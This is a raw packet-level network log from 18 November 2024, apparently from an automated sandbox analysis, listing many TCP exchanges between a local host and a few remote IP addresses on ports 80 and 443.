Nov 18, 2024 21:04:14.896558046 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.896583080 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.896610975 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.898732901 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.898768902 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.898792982 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.898821115 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.901299953 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.901335001 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.901361942 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.901392937 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.903805017 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.903839111 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.903865099 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.903872967 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.903881073 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.903930902 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.906102896 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.906137943 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.906162024 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.906183004 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.909488916 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.909524918 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.909598112 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.913258076 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.913294077 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.913382053 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.916584015 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.916619062 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.916652918 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.916688919 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.916717052 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.918641090 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.918674946 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.918752909 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.920274019 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.920310020 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.920342922 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.920381069 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.922564030 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.924380064 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.924460888 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.926887035 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.928352118 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.928431034 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.930150986 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.930186033 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.930399895 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.931706905 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.931742907 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.931776047 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.931780100 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.931816101 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.931835890 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.933285952 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.933320045 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.933379889 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.935288906 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.935343981 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.935350895 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.935456991 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.937212944 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.937247992 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.937311888 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.952651978 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.953368902 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.953645945 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.953797102 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.954552889 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.954586983 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.954617977 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.954654932 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.956738949 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.956773996 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.956836939 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.958718061 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.958754063 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.958771944 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.958781958 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:14.958801985 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.958822012 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:14.998511076 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.998563051 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.998694897 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.998794079 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.998836040 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.998836994 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:14.998856068 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:14.998869896 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:15.001674891 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:15.001704931 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:15.001787901 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:15.002026081 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:15.002039909 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:15.559933901 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.559990883 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.560019970 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.560098886 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.562043905 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.562077999 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.562104940 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.562134027 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.564322948 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.564357042 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.564384937 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.564419031 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.571475029 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.571508884 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.571541071 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.571573973 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.573740959 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.573779106 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.573812008 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.573837996 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.573880911 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.575489998 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.575525045 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.575551987 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.575581074 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.577008963 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.577044010 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.577061892 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.577091932 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.578613997 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.578646898 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.578674078 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.578680038 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.578713894 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.578728914 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.581108093 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.581144094 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.581188917 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.582746983 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.582781076 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.582813025 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.582837105 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.584856033 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.584872007 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.584896088 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.584914923 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.586450100 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.586464882 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.586497068 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.586523056 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.588331938 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.588347912 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.588361025 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.588380098 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.588401079 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.590353966 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.590368986 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.590396881 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.590424061 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.592722893 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.592739105 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.592775106 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.592792034 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.594291925 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.594306946 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.594341040 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.594357967 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.596075058 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.596091032 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.596106052 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.596116066 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.596132994 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.596152067 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.598164082 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.598220110 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.598861933 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.598879099 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.598902941 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.598918915 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.600716114 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.600733042 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.600763083 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.600778103 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.602534056 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.602551937 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.602575064 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.602603912 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.604446888 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.604516029 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.606519938 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.606570959 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.623075962 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.623111010 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.623186111 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.623186111 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.624607086 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.624643087 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.624670029 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.624697924 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.626133919 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.626168966 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.626183987 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.626216888 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.629112005 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.629196882 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.629215956 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.629230976 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.629252911 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.629281044 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.630467892 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.630620003 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.631052971 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.631088018 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.631113052 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.631145954 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.632220030 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.632255077 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.632271051 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.632306099 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.633675098 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.633708954 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.633732080 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.633763075 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.634988070 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.635024071 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.635046959 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.635076046 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.636145115 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.636178970 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.636199951 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.636228085 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.637618065 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.637656927 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.637670994 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.637691021 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.637701035 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.637744904 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.638040066 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:15.638125896 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:15.638967037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.639000893 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.639050961 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.639353037 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:15.639359951 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:15.640028954 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.640064001 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.640075922 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.640127897 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.640336990 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:15.641252041 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.641285896 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.641299009 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.641333103 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.641612053 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:15.641639948 CET	49824	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:15.641777992 CET	443	49824	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:15.642430067 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.642467022 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.642477036 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.642501116 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.642530918 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.642551899 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.643677950 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.643712044 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.643729925 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.643759012 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.644866943 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.644901991 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.644922018 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.644942045 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.645848989 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.645883083 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.645896912 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.645931005 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.646951914 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.646986961 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.647003889 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.647038937 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.648039103 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.648073912 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.648089886 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.648107052 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.648118973 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.648149967 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.649044037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.649092913 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.731904030 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.732022047 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.732188940 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.732218981 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.732244968 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.732270002 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.732785940 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.732820034 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.732848883 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.732880116 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.734443903 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.734481096 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.734534025 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.735368013 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.735400915 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.735451937 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.736977100 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.737010956 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.737035990 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.737051010 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.738482952 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.738517046 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.738543987 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.738549948 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.738554001 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.738595009 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.740641117 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.740675926 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.740710974 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.740741968 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.742064953 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.742147923 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.742203951 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.744832993 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.744867086 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.744927883 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.746233940 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.746270895 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.746304035 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.746319056 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.746349096 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.748605013 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.748642921 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.748670101 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.748686075 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.749835968 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.749883890 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.749900103 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.749929905 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.752214909 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.752295971 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.752353907 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.753849983 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.753885031 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.753906965 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.753927946 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.755546093 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.755579948 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.755611897 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.755635023 CET	49818	80	192.168.2.4	185.215.113.16
